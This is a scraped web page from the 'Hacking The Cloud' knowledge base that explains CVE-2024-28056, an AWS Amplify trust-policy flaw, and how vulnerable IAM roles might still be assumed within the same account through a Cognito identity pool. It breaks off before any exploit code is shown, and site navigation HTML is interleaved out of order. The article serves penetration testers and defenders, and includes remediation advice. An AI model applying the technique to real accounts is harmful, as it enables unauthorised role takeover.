<a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#unauthenticated-example class=md-nav__link> <span class=md-ellipsis> Unauthenticated Example </span> </a> <nav class=md-nav aria-label="Unauthenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#authenticated-example class=md-nav__link> <span class=md-ellipsis> Authenticated Example </span> </a> <nav class=md-nav aria-label="Authenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit_1 class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover</a> by <a href=https://x.com/Frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://aws.amazon.com/security/security-bulletins/AWS-2024-003/ >AWS Security Bulletin: CVE-2024-28056</a></p> </li> </ul> </div> <h2 id=background>Background<a class=headerlink href=#background title="Permanent link">&para;</a></h2> <p>In April of 2024, Security Researchers at <a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >Datadog</a> found a vulnerability in the <a href=https://aws.amazon.com/amplify/ >AWS Amplify</a> service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-identity.html>Cognito identity pool</a> could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.</p> <p>In response to this, AWS made a number of changes to IAM and the <a href=https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html>AWS Security Token Service</a> (STS) APIs. In particular, this involved:</p> <ul> <li>Releasing a fix to the <a href=https://github.com/aws-amplify/amplify-cli/releases/tag/v12.10.1>Amplify CLI</a> and Amplify Studio preventing the creation of more vulnerable roles.</li> <li>Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.</li> <li>Made changes to the STS service to <strong>block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service</strong>.</li> </ul> <p>This final fix is interestingly specific. AWS only made changes to block <strong>cross-account</strong> role assumption, not <strong>same-account</strong> role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html>basic (classic) authflow</a> enabled.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p><strong>To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource</strong>, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.</p> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.</p> </div> <h2 id=unauthenticated-example>Unauthenticated Example<a class=headerlink href=#unauthenticated-example title="Permanent link">&para;</a></h2> <p><a class=glightbox href=../../../../images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Unauthenticated Scenario" src=../../../../images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png></a></p> <p>In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#background class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul 